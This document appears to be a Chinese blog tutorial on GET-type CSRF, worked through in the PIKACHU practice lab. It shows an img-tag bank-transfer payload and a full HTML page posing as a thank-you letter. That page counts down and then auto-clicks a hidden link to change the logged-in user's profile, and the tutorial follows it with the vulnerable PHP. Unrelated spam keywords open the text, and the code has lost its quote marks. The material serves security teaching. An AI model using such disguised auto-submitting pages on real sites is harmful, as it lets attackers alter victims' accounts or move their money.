个人做网站需要备案吗,建设个人网上银行登录入口官网,ppt模板免费网页,郑州发布最新通告关注这个漏洞的其他相关笔记#xff1a;CSRF 漏洞 - 学习手册-CSDN博客 0x01#xff1a;GET 型 CSRF 漏洞攻击 —— 理论篇
GET 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP GET 请求#xff0c;利用用户的登录状态#xff0c;在用户不知情的情况下#xff0c;诱使浏览器… 关注这个漏洞的其他相关笔记CSRF 漏洞 - 学习手册-CSDN博客 0x01GET 型 CSRF 漏洞攻击 —— 理论篇
GET 型 CSRF 漏洞是指攻击者通过构造恶意的 HTTP GET 请求利用用户的登录状态在用户不知情的情况下诱使浏览器向受信任的网站发送请求从而执行非用户意图的操作。
常见的攻击方式 攻击者通过在站点中嵌入恶意链接到图片、链接或者隐藏的 iframe 中诱使用户点击或者在不知情的情况下触发请求从而发起攻击。例如攻击者可以创建一个隐藏的 iframe其中包含对银行网站的转账请求当用户访问包含该 iframe 的页面时浏览器会携带用户的会话 Cookie 自动发起转账请求而用户可能对此还一无所知。
其攻击流程如下图所示 比如某家银行的转账接口请求包如下假设该家银行存在 CSRF 漏洞 http://bank.example.com?acttransfermoney$money$to$email$acttransfer -- 执行转账操作money$money$ -- 转账的金额to$email$ -- 转账的对象
那么攻击者通过在网页中嵌入下面的代码并诱导用户访问当用户访问嵌入了恶意代码的站点时用户浏览器就自动会向 bank.example.com 站点的转账接口发起请求导致攻击发生 img srchttp://bank.example.com?acttransfermoney100tohackertest.com
当然前提是用户登录了那家银行而且登录凭证Cookie or Session还未失效。
0x02GET 型 CSRF 漏洞攻击 —— 实战篇 实验工具准备 PHP 运行环境phpstudy_x64_8.1.1.3.zipApache2.4.39 PHP 5.6.9nts 实验环境PIKACHU 靶场 - CSRFget 参考PIKACHU —— 靶场笔记合集 本次的实验环境我们采用现成的 PIKACHU 靶场PIKACHU 靶场的安装方法参考上面提供的链接这里就不多说了下面直接进入演示流程。
0x0201GET 型 CSRF 攻击
在浏览器的导航栏中输入下面的网址访问实验环境 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_login.php 随机挑选一个账号进行登录这里笔者选择的是allen:123456 点击 ”修改个人信息“ 按钮并打开浏览器的 ”开发者工具“ 进行抓包 然后随便修改点信息比如我把手机号修改成123456并点击 submit 进行提交注意抓包 可以看到我们是通过 GET 方式向站点后端接口传递参数来修改我们的个人信息。如果这个接口没有做任何的安全防御措施那我们完全可以通过直接访问这个 GET 请求的链接来达到向后端提交个人信息修改的这么一个操作。
上面的那条 GET 请求拿下来是这样的 http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexboyphonenum123456addnba 76emailallenpikachu.comsubmitsubmit
我们手动把 add 参数变一下比如改成 “翻斗花园翻斗大街 1408 号” http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexboyphonenum123456add翻斗花园翻斗大街 1408 号emailallenpikachu.comsubmitsubmit
然后直接通过浏览器访问上面的链接可以发现当前登录的用户allen的个人信息发生了改变 此时已经可以判定该站点修改个人信息的接口存在 CSRF 漏洞攻击者可以很轻松的伪造符合接口要求的请求只要网站的受信用户点击带有 CSRF 攻击的链接即可被修改个人信息。真的需要用户自己傻乎乎的去点吗
接下来我们模拟攻击者创造一个可以自动触发攻击代码的页面将下面的 HTML 代码直接复制进一个 HTML 文件中然后双击打开这个 HTML 文件即可 !-- File Namecssrf_get.html --!DOCTYPE htmlhtml langzh-CNheadmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0title感谢信/titlestylebody {font-family: Times New Roman, serif;background-color: #f4f4f4;display: flex;justify-content: center;align-items: center;height: 100vh;margin: 0;}.declaration {background-color: #fff;padding: 20px;border: 1px solid #ddd;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);max-width: 600px;margin: auto;}h1 {text-align: center;color: #333;}p {text-align: justify;line-height: 1.6;color: #666;}.modal {position: fixed;top: 20px;right: 20px;background-color: #fff;padding: 20px;border: 1px solid #ddd;box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);display: flex;flex-direction: column;align-items: center;justify-content: center;gap: 10px;}.modal h2 {margin: 0;color: #333;}.modal p {margin: 0;color: #666;}.modal button {padding: 10px 20px;cursor: pointer;background-color: #4CAF50;color: white;border: none;border-radius: 5px;}.hidden {display: none;}/style/headbodydiv classdeclarationh1感谢信/h1p致亲爱的读者们/pp首先我想对每一位关注我的 CSDN 网安区博客的朋友们表示衷心的感谢。你们的支持和鼓励是我不断前进的动力。/pp自从我开始在 CSDN 上分享网络安全相关的知识和见解以来我收到了许多宝贵的反馈和建议。这些交流不仅丰富了我的知识也帮助我成长为一个更好的内容创作者。/pp我承诺将继续努力为大家带来更多高质量的内容。同时我也期待与大家有更多的互动和交流共同探讨网络安全领域的最新动态和技术。/pp再次感谢大家的关注和支持让我们一起在网络安全的道路上不断前行。/pdiv classsignaturep—— 您忠实的博主/pp[Blue17]/pp[2024/09/22]/p/diva idcsrf_payloadhrefhttp://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sexboyphonenum123456addnba%2076%3Cbr%3E%3Cp%3E%E2%9D%A4Blue17%20Is%20A%20Good%20CSDN%20Creator%E2%9D%A4%3Cp%3Eemailallen%40pikachu.comsubmitsubmit/a /divdiv idmodal classmodal hiddenh2惊喜倒计时/h2p idcountdown20/pbutton idcloseModal关闭/button/divscriptvar modal document.getElementById(modal);var countdownElement document.getElementById(countdown);var closeModalButton document.getElementById(closeModal);var link document.getElementById(csrf_payload);// 显示模态框modal.classList.remove(hidden);// 倒计时var countdown 20;var intervalId setInterval(function() {countdownElement.textContent countdown;countdown--;if (countdown 0) {clearInterval(intervalId);// 模拟点击link.click();// 关闭模态框modal.classList.add(hidden);}}, 1000);// 关闭模态框closeModalButton.addEventListener(click, function() {clearInterval(intervalId);modal.classList.add(hidden);});/script/body/html 这个是笔者给诸位写的一份感谢信怕诸位太过于感动特地给你们写了一个阅读倒计时当倒计时结束时JavaScript 会模拟用户的点击事件触发我藏在页面中的小彩蛋CSRF 攻击指令修改用户的个人信息添加上我个人专属 Logo 这个实验就是告诉诸位你不点有的是代码帮你点至此GET 型 CSRF 攻击演示完毕。
0x0202GET 型 CSRF 代码分析
下面是触发 GET 型 CSRF 漏洞的关键代码 // csrf_get_edit.php$html1;if(isset($_GET[submit])){if($_GET[sex]!null $_GET[phonenum]!null $_GET[add]!null $_GET[email]!null){$getdataescape($link, $_GET);$queryupdate member set sex{$getdata[sex]},phonenum{$getdata[phonenum]},address{$getdata[add]},email{$getdata[email]} where username{$_SESSION[csrf][username]};$resultexecute($link, $query);if(mysqli_affected_rows($link)1 || mysqli_affected_rows($link)0){header(location:csrf_get.php);}else {$html1.修改失败请重试;}}}
上面的代码简单来说就是通过 $_GET 来获取前端用户传递过来的请求信息并根据这些信息更新数据库中的内容。CSRF 漏洞发生的位置就是获取前端用户传递请求信息的部分。
因为接口传参太有规律了太好猜了Hacker 能一下子就找到这个接口参数的规律从而发起攻击。有没有觉得一阵后怕回想一下自己写的那些业务接口谁会没事找两个随机参数进行传递
所以安全和便捷永远是两个对立面我们能做的也就是尽量找到最优解。
0x03参考文献 Cookie 的 SameSite 属性 - 阮一峰的网络日志